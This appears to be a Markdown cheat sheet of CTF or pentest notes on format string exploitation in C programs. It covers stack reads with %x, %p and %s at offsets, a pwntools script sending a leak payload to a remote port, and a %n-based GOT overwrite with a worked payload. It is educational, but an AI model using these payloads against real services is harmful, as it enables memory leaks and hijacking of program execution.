106 lines
2.9 KiB
Markdown
106 lines
2.9 KiB
Markdown
# Format String
|
|
|
|
* Read and write values from stack
|
|
* [axcheron's writeup](https://axcheron.github.io/exploit-101-format-strings/)
|
|
|
|
## Parameters
|
|
|
|
|Parameters |Type |Passed as |
|
|
|-----------------|-------------------------------------------|-----------|
|
|
| %d | decimal (int) | value |
|
|
| %u | unsigned decimal (unsigned int) | value |
|
|
| %x | hexadecimal (unsigned int) | value |
|
|
| %p | hexadecimal (unsigned int), nice layout | value |
|
|
| %s | string ((const) (unsigned) char*) | reference |
|
|
| %n | write the number of bytes ypu put in, (*int) | reference |
|
|
|
|
## Offset
|
|
|
|
* Read at offset as pointer value at the 42th argument on the stack
|
|
```sh
|
|
%42$s
|
|
```
|
|
* If the pointer at the offset references a string you can dereference by
|
|
```sh
|
|
%42$s
|
|
```
|
|
|
|
## Length of output
|
|
|
|
* Padding of the first argument on stack to the given length
|
|
```sh
|
|
%31337x
|
|
```
|
|
|
|
## Read
|
|
|
|
* Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
|
|
```sh
|
|
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
|
|
```
|
|
|
|
* Do long long hex reading from stack
|
|
```sh
|
|
%llx
|
|
```
|
|
|
|
* Select values as string, e.g. the second value
|
|
```sh
|
|
%2$s
|
|
```
|
|
* Another way of reading the pointer is via
|
|
```sh
|
|
%p
|
|
```
|
|
* Read pointer on stack at offset 42
|
|
```sh
|
|
%42$p
|
|
```
|
|
|
|
* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one
|
|
```python
|
|
from pwn import *
|
|
|
|
#p = process('./vuln')
|
|
p = remote(target_ip, 9006)
|
|
|
|
payload = b'%14$p||||'
|
|
payload += p32(0x8048000)
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean())
|
|
```
|
|
|
|
## Write
|
|
|
|
* Writing is done via `%n`
|
|
* An example, GOT overwrite. We want to replace the pointer address
|
|
* Watch out for the `PTR` from PLT to GOT
|
|
```sh
|
|
objdump -Mintel -d <binary>
|
|
|
|
[...]
|
|
0000000000401060 <printf@plt>:
|
|
401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 <printf@GLIBC_2.2.5>
|
|
401066: 68 03 00 00 00 push 0x3
|
|
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
|
|
[...]
|
|
```
|
|
* The `PTR` derefences __0x404030__
|
|
* As an example, the parameter is found at arg 6 on the stack
|
|
* Write the address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b`
|
|
* The input is as follows
|
|
```sh
|
|
%64c%6$n<restof address - 67>c %13$hn
|
|
```
|
|
* `64c` is `0x40`, rest of address - bytes already + 2 bytes alignment
|
|
|
|
## Tips and Tricks
|
|
|
|
* Overwrite GOT when there is no FullRELRO, when it is not read only
|
|
* Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack
|
|
```sh
|
|
AAAA%6$p
|
|
```
|
|
|